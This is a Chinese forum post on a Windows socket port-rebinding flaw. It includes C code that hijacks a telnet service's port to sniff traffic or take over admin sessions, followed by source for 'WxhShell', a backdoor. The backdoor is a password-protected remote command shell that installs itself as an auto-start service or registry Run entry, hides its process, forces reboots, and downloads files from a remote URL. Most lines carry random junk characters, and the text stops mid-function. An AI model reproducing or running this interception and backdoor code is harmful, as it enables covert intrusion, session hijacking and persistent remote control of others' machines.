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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s.R-<Y 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |b$>68:  
F}6DB*  
  saddr.sin_family = AF_INET; }XGMa?WR  
Z{,GZT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cQ3W;F8|n  
0|fb< "  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H{\.g=01  
fr}1_0DDz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,?xLT2>J_  
)h>\05|T  
  这意味着什么?意味着可以进行如下的攻击: ,]PyDq6  
`2x H7a-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {) :%Wn M9  
?Do^stq'4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c-4m8Kg?L  
bH\'uaJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N|!MO{sB  
(~j,mk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fB f 4]^  
w24{_ N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X(Y#9N"  
aN^]bs?R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3I9T|wQ-]  
?a'6EAErC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oUJj5iu}  
<*s"e)XeqF  
  #include ^[{`q9A#d  
  #include Q0zW ]a  
  #include uipq=Yp.  
  #include    Usa+b A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B ~fSMB6h  
  int main() n S_Ta  
  { @~m=5C  
  WORD wVersionRequested; di6B!YQP  
  DWORD ret; Awu$g.  
  WSADATA wsaData; ;y>S7n>n:  
  BOOL val; o"rq/\ovv  
  SOCKADDR_IN saddr; ?QCmSK=L  
  SOCKADDR_IN scaddr; r4O|()  
  int err; IDy_L;'`*  
  SOCKET s; >5)<Uv$  
  SOCKET sc; D(y+1^>  
  int caddsize; 6g5PM4\  
  HANDLE mt; QWrIa1.JC  
  DWORD tid;   j$3rJA%rN  
  wVersionRequested = MAKEWORD( 2, 2 ); z]^+^c_  
  err = WSAStartup( wVersionRequested, &wsaData ); D Irgq|8  
  if ( err != 0 ) { 96(R'^kNX  
  printf("error!WSAStartup failed!\n"); `I5O4|K)  
  return -1; +c^_^Z$_4o  
  } s|Z:}W?{  
  saddr.sin_family = AF_INET; PG{i,xq_B{  
   &&[zT/]P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >Bc> IO  
`NBbTQtgO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ldA!ou7  
  saddr.sin_port = htons(23); O0^?f/&k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >T<6fpXuk2  
  { ;Vg^!]LL#  
  printf("error!socket failed!\n"); 1EVfowIl  
  return -1; ^>C 11v  
  } = 96G8hlT  
  val = TRUE; # ;K,,ku x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C:]s;0$3'9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =M7TCE  
  { MkwU<ae AB  
  printf("error!setsockopt failed!\n"); D^Te%qnW  
  return -1; w/ TKRCO3  
  } LO)GTyzvJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {Fbg]'FQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]eE 1n2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]kx-,M(  
#~L!pKM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5sCFzo<=vh  
  { ;HDZ+B  
  ret=GetLastError(); o]Gguw5W{  
  printf("error!bind failed!\n"); "'m)VG  
  return -1; |6aJwe+*  
  } tQWWgLM  
  listen(s,2); oL]mjo=jN  
  while(1) Yu'a<5f  
  { L>dkrr)e  
  caddsize = sizeof(scaddr); 74+A+SK[  
  //接受连接请求 Hkdf$$\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B`fH^N  
  if(sc!=INVALID_SOCKET) 2 nv[1@M  
  { 5F2_xH$5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hou*lCA  
  if(mt==NULL) t8QRi!\=  
  { F|>05>8  
  printf("Thread Creat Failed!\n"); (Yv{{mIy  
  break; B MM--y@  
  } .}q]`<]ze  
  } ;f:gX`"\  
  CloseHandle(mt); ^i+[m  
  } }Z\wH*s`  
  closesocket(s); K UKACUL  
  WSACleanup(); En(7(qP6}  
  return 0; [E7MsX  
  }   d+;gw*_Ei  
  DWORD WINAPI ClientThread(LPVOID lpParam) O gmSQ  
  { K/txD20 O|  
  SOCKET ss = (SOCKET)lpParam; LXj5R99S  
  SOCKET sc; (9 sIA*,}  
  unsigned char buf[4096]; jNA1O68N  
  SOCKADDR_IN saddr; |~WYEh  
  long num; {^#2=`:)O  
  DWORD val; ?c]n^GvG  
  DWORD ret; Q $~n/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ytao"R/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aBhV3Fd[B  
  saddr.sin_family = AF_INET; !SO8O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b O=yi)  
  saddr.sin_port = htons(23); v!9i"@<!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D8%AV; -Y  
  { qi(*ty  
  printf("error!socket failed!\n"); 7{e=="#*  
  return -1; qj!eLA-aD  
  } WNs}sNSf  
  val = 100; X8i(~ B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5+- I5HX|~  
  { ]N^*tO  
  ret = GetLastError(); YuQ~AE'i  
  return -1; 7G<t"'  
  } I9Eu',  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) & ze>X  
  { 06 i;T~Y  
  ret = GetLastError();  z [C3  
  return -1; 1D F/6y  
  } >xqM5#m`E$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n_Onr0EvO  
  { c0_E_~  
  printf("error!socket connect failed!\n"); V5mlJml2(  
  closesocket(sc); `]=oo%(h  
  closesocket(ss); vi!YN|}\  
  return -1; C$d>_ r  
  } t{dSX?<nt  
  while(1) S QY"OBo<e  
  { t P"\J(x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u,1}h L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I7n3xN&4"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !2tW$BP^  
  num = recv(ss,buf,4096,0); 3GH(wSv9\  
  if(num>0) c+kU o$  
  send(sc,buf,num,0); LOvHkk@+  
  else if(num==0) + H_WlYg-  
  break; +*}{`L- :  
  num = recv(sc,buf,4096,0); +oc >S  
  if(num>0) jjzA .8?(7  
  send(ss,buf,num,0); 2;$ k(x]  
  else if(num==0) )JD(`  
  break; ;`dh fcU  
  } 4/e60jA  
  closesocket(ss); egk7O4zwP  
  closesocket(sc); P[ r];e  
  return 0 ; 47r&8C+&\  
  } f )Z%pgB  
17|np2~  
pI.+"Hz  
========================================================== Sv'y e  
l"(6]Z 4  
下边附上一个代码,,WXhSHELL W_`A"WdT.  
l@JSK ;  
========================================================== lFSe?X^  
h3* x[W  
#include "stdafx.h" \4d.sy0&>-  
.8WXC   
#include <stdio.h> ({^9<Us  
#include <string.h> e>}}:Ud  
#include <windows.h> (`BSVxJH  
#include <winsock2.h> Q`%R[#  
#include <winsvc.h> T?Fcohz(  
#include <urlmon.h> g(C|!}ex/  
|X19fgk  
#pragma comment (lib, "Ws2_32.lib") crcA\lJf  
#pragma comment (lib, "urlmon.lib") (u3s"I d  
CO:u1?  
#define MAX_USER   100 // 最大客户端连接数 2@=IT0[E\  
#define BUF_SOCK   200 // sock buffer j;1-p>z  
#define KEY_BUFF   255 // 输入 buffer ccFn.($p?,  
.w?(NZ2~  
#define REBOOT     0   // 重启 69K{+|  
#define SHUTDOWN   1   // 关机 ->^~KVh&  
N|g;W  
#define DEF_PORT   5000 // 监听端口 )~J>X{hy  
kq=V4-a[  
#define REG_LEN     16   // 注册表键长度 FQz?3w&ia  
#define SVC_LEN     80   // NT服务名长度 Kl{>jr8B3  
zSEs?  
// 从dll定义API )D&M2CUw"f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cO2& VC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !4"^`ors$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U69u'G:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :O<bA& :d  
x%+{VStA  
// wxhshell配置信息 d[ >`")2)  
struct WSCFG { WLa!.v>  
  int ws_port;         // 监听端口 %+>s#Q2d  
  char ws_passstr[REG_LEN]; // 口令 "syh=BC v  
  int ws_autoins;       // 安装标记, 1=yes 0=no  p?D2)(  
  char ws_regname[REG_LEN]; // 注册表键名 <*!i$(gn  
  char ws_svcname[REG_LEN]; // 服务名 $2^`Uca  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +  @9.$6N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &,\=3 '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j%u-dr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N,dT3we  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `:m!~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '_\;jFAM  
$''?HjB}T  
}; \c v?^AI  
{`=0 |oP}  
// default Wxhshell configuration 7uorQfR?  
struct WSCFG wscfg={DEF_PORT, |BT MJ:B  
    "xuhuanlingzhe", =]`lN-rYw  
    1, u]-_<YZ'B  
    "Wxhshell", j$UV/tp5T  
    "Wxhshell", 2aw&YZ&Xo  
            "WxhShell Service", VV4Gjc  
    "Wrsky Windows CmdShell Service", {GDmVWG0q  
    "Please Input Your Password: ", ~\)qi=  
  1, PNF?;*`-{7  
  "http://www.wrsky.com/wxhshell.exe", SzwQOs*  
  "Wxhshell.exe" W7"{r)7  
    }; &6 s) X  
`@d<n  
// 消息定义模块 8$s9(n-_Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tM-^<V&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VErv;GyV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h&.wo !  
char *msg_ws_ext="\n\rExit."; G+xt5n.%  
char *msg_ws_end="\n\rQuit."; D4eTTfQ  
char *msg_ws_boot="\n\rReboot..."; tWTKgbj(  
char *msg_ws_poff="\n\rShutdown..."; 'i;|c  
char *msg_ws_down="\n\rSave to "; R[z`:1lo  
a,F&`Wg  
char *msg_ws_err="\n\rErr!"; l0&EZN0V2  
char *msg_ws_ok="\n\rOK!"; J:uW`R  
`RU[8@ 2%  
char ExeFile[MAX_PATH]; e^4 p%  
int nUser = 0; sDr/k`>  
HANDLE handles[MAX_USER]; dkgSvi :!  
int OsIsNt; YprH wL  
}+o:j'jB  
SERVICE_STATUS       serviceStatus; 09A X-JP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "mL++>ZSQ  
|@,|F:h<M  
// 函数声明 NK|?y  
int Install(void); f/WQ[\<!I  
int Uninstall(void); iGB_{F~t4}  
int DownloadFile(char *sURL, SOCKET wsh); T=hho Gn  
int Boot(int flag); dm-pxE "  
void HideProc(void); />'V!iWyz  
int GetOsVer(void); ;.xoN|Per  
int Wxhshell(SOCKET wsl); |qZko[W}=  
void TalkWithClient(void *cs); b'MSkEiQG  
int CmdShell(SOCKET sock); Wg{k$T_>  
int StartFromService(void); L %ip>  
int StartWxhshell(LPSTR lpCmdLine); ReiB $y6  
26X+ }^52  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PJxH7|GSi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '(? uPr  
}:0uo5 B7  
// 数据结构和表定义 D7Y)?Z5A;  
SERVICE_TABLE_ENTRY DispatchTable[] = ?USQlnr:R/  
{ G} eUL|S  
{wscfg.ws_svcname, NTServiceMain}, x21dku<6K[  
{NULL, NULL} p!]6ll^  
}; ~~/xR s  
9/+Nj/  
// 自我安装 :o:e,WKxb  
int Install(void) %WqNiF0-  
{ go+Q~NV   
  char svExeFile[MAX_PATH]; UobyK3.%  
  HKEY key; 2G$SpfeIu  
  strcpy(svExeFile,ExeFile); pg]BsJN  
S'oGt&Z<  
// 如果是win9x系统,修改注册表设为自启动 Z/rP"|EuQ  
if(!OsIsNt) { 1B),A~Ip  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ii7QJ:^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y_xnai  
  RegCloseKey(key); +,~z Wv1v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0]D0{6x8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|E'>+ D_-  
  RegCloseKey(key); n wI!O  
  return 0; ih?^t(i  
    } n|GaV  
  } TO%dw^{_`  
} hhoEb(BA  
else { f+rz|(6vs{  
GGhM;%H_99  
// 如果是NT以上系统,安装为系统服务 6} FO[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %OgS^_tu  
if (schSCManager!=0) fgihy  
{ FU=w(< R;  
  SC_HANDLE schService = CreateService wts=[U`(  
  ( uEc<}pV  
  schSCManager, - 0?^#G}3}  
  wscfg.ws_svcname, g$dsd^{O7  
  wscfg.ws_svcdisp, JG{j)O|L  
  SERVICE_ALL_ACCESS, :4v3\+T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 52upoU>}2  
  SERVICE_AUTO_START, [ sd;`xk  
  SERVICE_ERROR_NORMAL, qj cp65^  
  svExeFile, jA#/Z  
  NULL, [r/k% <  
  NULL, s;UH]  
  NULL, PRNoqi3sY  
  NULL, wP"dZagpj  
  NULL ie-vqLc  
  ); npRS Ev  
  if (schService!=0) r>GZ58i  
  { #+$Q+Z|6k  
  CloseServiceHandle(schService); ?xK,mbFgl  
  CloseServiceHandle(schSCManager); Q f(p~a(d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =@F&o4)r  
  strcat(svExeFile,wscfg.ws_svcname); r-,e;o>9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AIA6yeaU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7)h[Zy,A  
  RegCloseKey(key); ?f/n0U4w  
  return 0; ;-UmY}MU  
    } 9n}p;3{f  
  } !|c|o*t{  
  CloseServiceHandle(schSCManager); +2 Af&~T  
} OT'[:|x ;  
} C"IKt  
|lv|!]qAma  
return 1; 1~ $);US  
} d#2$!z#  
02BuX]_0g  
// 自我卸载 'l,V*5L  
int Uninstall(void) u^029sH6j  
{ d;n."+=[x  
  HKEY key; a~8[<Fomj  
wgd/(8d  
if(!OsIsNt) { Nan[<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !'LW_@  
  RegDeleteValue(key,wscfg.ws_regname); %e&9.  
  RegCloseKey(key); V ]90  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OzC\9YeA  
  RegDeleteValue(key,wscfg.ws_regname); v@#b}N0n  
  RegCloseKey(key); 3]?#he  
  return 0; HYmn:?H  
  } <V>dM4Mkr  
} UwC=1g U  
} 9P{;H usNw  
else { ?ve#} \  
-.{g}R%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NY?;erX  
if (schSCManager!=0) 3P;>XGCxZ  
{ dK>7fy;mv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %c[V  
  if (schService!=0) #pcP!  
  { :T9< d er,  
  if(DeleteService(schService)!=0) { S;]*)i,v  
  CloseServiceHandle(schService); Pb*5eXk  
  CloseServiceHandle(schSCManager); S8e{K  
  return 0; ^U]UqX`  
  } SM@QUAXO  
  CloseServiceHandle(schService); t|m=J`a{q;  
  } q{+_ <2U|  
  CloseServiceHandle(schSCManager); 10H)^p%3+  
} {/pm<k=  
} ;NRF=d>  
*{+G=d  
return 1; .CFa9"<  
} Ao/ jt<  
"?mJqA  
// 从指定url下载文件 2U-3Q]/I}  
int DownloadFile(char *sURL, SOCKET wsh) 4 {9B9={  
{ awz;z?~  
  HRESULT hr; .H,xle  
char seps[]= "/"; 8zMu7,E  
char *token; IT$25ZF  
char *file; t]X w{)T  
char myURL[MAX_PATH]; 2<}NB?f`N  
char myFILE[MAX_PATH]; n9s iX  
$[yFsA6  
strcpy(myURL,sURL); j!3 Gz  
  token=strtok(myURL,seps); Uo2GK3nT  
  while(token!=NULL) ^%` wJ.c  
  { @_z4tUP  
    file=token; ;,]P=Ey  
  token=strtok(NULL,seps); ~RWktv  
  } MMj9{ou  
,*7d  
GetCurrentDirectory(MAX_PATH,myFILE); -ig6w.%lk  
strcat(myFILE, "\\"); _2N$LLbg  
strcat(myFILE, file); D1 &A,2wO  
  send(wsh,myFILE,strlen(myFILE),0); <\;#jF%V  
send(wsh,"...",3,0); Y/7 $1k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (64yg  
  if(hr==S_OK) r7',3V  
return 0; p ]d] QMu  
else q/n,,!  
return 1; GQ |Mr{.;  
K#"O a h  
} HF(KN{0.B  
|7zd%!  
// 系统电源模块 RZ+`T+zL  
int Boot(int flag) DY^;EZ!hb  
{ QV\eMuNy  
  HANDLE hToken; a1@Y3M Q;i  
  TOKEN_PRIVILEGES tkp; RSo& (Uv  
9:M` j  
  if(OsIsNt) { ^_m9KA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @*sWu_ -Y%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =%/)m:f!^  
    tkp.PrivilegeCount = 1; YIjTL!bA"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nvPwngEQm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q`r**N+zn  
if(flag==REBOOT) { l'eyq}&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6R^^.tCs  
  return 0; 8-O)Xx}cU  
} =AuR:Tx  
else { k1!@^A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KY~- ;0x  
  return 0; BT(CM,bp  
} G["c\Xux  
  } w`5xrqt@  
  else { 0L/n?bf  
if(flag==REBOOT) { CvD "sHVq%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &#iTQD  
  return 0; B $mX3B+a  
} K1T4cUo  
else { )vSRHE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5D'\b}*lJ}  
  return 0; [W7CXZDd  
} d m`E!R_  
} @<x*.8  
*IM;tD+7Q~  
return 1; )>Yu!8i  
} xKho1Z  
is-7 j7;  
// win9x进程隐藏模块 *I0T{~  
void HideProc(void) y_?Me]  
{ j?+X\PtQ  
?[ lV-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <.? jc%  
  if ( hKernel != NULL ) q*>&^V$M  
  { RVQh2'w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &e!7Z40w@&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SBS3?hw  
    FreeLibrary(hKernel); kbe-1 <72  
  } {Ja!~N;3  
1|jt"Hz  
return; ?pd8w#O  
} :\o {_  
$\U 4hHOo  
// 获取操作系统版本 c-0#w=  
int GetOsVer(void) >o=-$gz`  
{ # }y2)g  
  OSVERSIONINFO winfo; BGX.U\uc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sdo [D  
  GetVersionEx(&winfo); nX`u[ks  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ] @u6HH~^  
  return 1; RtM8yar+sn  
  else EU+S^SyZi  
  return 0; =aTv! 8</  
} 1waTTT?"Ho  
L}pt)w*V1j  
// 客户端句柄模块 3zcU%*  
int Wxhshell(SOCKET wsl) Zo~  
{ @P?~KW6<|  
  SOCKET wsh; io8'g3<  
  struct sockaddr_in client; ]&Rx@&e*  
  DWORD myID; u@cYw:-C  
#*UN >X  
  while(nUser<MAX_USER) $[a8$VY^Cm  
{ |3KLk?2  
  int nSize=sizeof(client);  ^0 \  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y<%@s}zc  
  if(wsh==INVALID_SOCKET) return 1;  UWo]s.  
pz.JWCU1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JAem0jPC8  
if(handles[nUser]==0) yL-YzF2  
  closesocket(wsh); G\+L~t  
else y#z  
  nUser++; m0a?LY  
  } 7V!*NBsl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VL` z[|e @  
ia+oX~W!VR  
  return 0; HK0! P*  
} Su/6Q$0 t  
fO[+LR 'ax  
// 关闭 socket EZ`te0[  
void CloseIt(SOCKET wsh) BdH-9n~,  
{ P 'od`  
closesocket(wsh); hFy;ffs.  
nUser--; DrY:9[LP  
ExitThread(0); ]Hefm?9*^  
} Xx0hc 8qd  
naR0@Q"\h  
// 客户端请求句柄 +{f:cea (1  
void TalkWithClient(void *cs) @a0DT=>dT  
{ (G;l x  
U`NjPZe5^  
  SOCKET wsh=(SOCKET)cs; '9 [vDG~  
  char pwd[SVC_LEN]; %1xb,g KO  
  char cmd[KEY_BUFF]; zv\kPfGDK  
char chr[1]; AW!?"xdZ  
int i,j; ij(B,Y  
TU,s*D&e  
  while (nUser < MAX_USER) { m!tbkZHQn0  
m4hg'<<V  
if(wscfg.ws_passstr) { 7>))D'l57  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b)qoh^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ch|jtVeuyJ  
  //ZeroMemory(pwd,KEY_BUFF); &-Gqdnc  
      i=0; Pama#6?OPh  
  while(i<SVC_LEN) { qGB{7-ru  
iW%I|&  
  // 设置超时 Kzm+GW3o[  
  fd_set FdRead; AicBSqUke  
  struct timeval TimeOut; 3yU.& k  
  FD_ZERO(&FdRead); (mTE;s(  
  FD_SET(wsh,&FdRead); ~O oidKT  
  TimeOut.tv_sec=8; $Y/9SV,  
  TimeOut.tv_usec=0; ( +Q&[E"87  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W_\5nF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c|B.n]Z  
!h23cj+V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IYS)7`{]  
  pwd=chr[0]; SwTL|+u  
  if(chr[0]==0xd || chr[0]==0xa) { }J:U=HJ  
  pwd=0; :~tAUy":_*  
  break; _u5#v0Y  
  } $0>60<J  
  i++; %7IugHH9y  
    } p93r'&Q  
t\k$};qJ  
  // 如果是非法用户,关闭 socket @hiCI.?X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /'l{E  
} `(ue63AZ  
~obqG!2m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4U+xb>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7vrl'^1  
i@)i$i4  
while(1) { fzb29 -  
jET{Le8i  
  ZeroMemory(cmd,KEY_BUFF); hIs4@0  
-.u]GeMy  
      // 自动支持客户端 telnet标准   :t8b39  
  j=0; @"Fme-~  
  while(j<KEY_BUFF) { ]6(N@RC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nYR#  
  cmd[j]=chr[0]; Wz49i9e+d  
  if(chr[0]==0xa || chr[0]==0xd) { V3Q+s8OIF  
  cmd[j]=0; bMg(B-uF7  
  break; Ui_8)z _  
  } |ef7bKU8  
  j++; eTI%^d|  
    } [!HEQ8 2g  
"GMBjT8  
  // 下载文件 }Gz~nf%  
  if(strstr(cmd,"http://")) { B}Z63|/N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MDhRR*CBh  
  if(DownloadFile(cmd,wsh)) |:q=T ~x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v7BA[jQr  
  else D[aCsaR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Z@ovsG  
  } A&.WH?p  
  else { {5U{8b]k  
o{* e'4  
    switch(cmd[0]) { QdH\LL^8R4  
  V:In>u$QJ!  
  // 帮助 ); !eow  
  case '?': { z&#SPH*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8uc1iB  
    break; +Mo9kC  
  } D0&,?  
  // 安装 Z0x ar]4V  
  case 'i': { w28o}$b`  
    if(Install()) :|V$\!o'U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jSh5!6O  
    else ddJQC|xR}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kj`7GA  
    break; qON|4+~u%  
    } R&8Iz yM  
  // 卸载 cs,N <|  
  case 'r': { +%zAQeb  
    if(Uninstall()) 7 E r23Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+* P2|  
    else q8X feoUV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]fx"4qKM  
    break; T*8VDY7  
    } >BIMi^  
  // 显示 wxhshell 所在路径 f=(?JT  
  case 'p': { q@QksAq  
    char svExeFile[MAX_PATH]; Y_;#UU689  
    strcpy(svExeFile,"\n\r"); tvkb~  
      strcat(svExeFile,ExeFile); B6u/mo<  
        send(wsh,svExeFile,strlen(svExeFile),0); \rx3aJl  
    break; *xx'@e|<;  
    } jqWu  
  // 重启 \f]k CB  
  case 'b': { <C1H36p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C]O(T2l{l  
    if(Boot(REBOOT)) RkH W   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[wq]q#*  
    else { `slL %j^"  
    closesocket(wsh); Yl4^AR&  
    ExitThread(0); M>wYD\oeg  
    } D"Bl:W'?j  
    break; /7a BDc-v  
    } yh Yb'GK  
  // 关机 s>B5l2Q4  
  case 'd': { j`JMeCG=Ee  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )IP,;<  
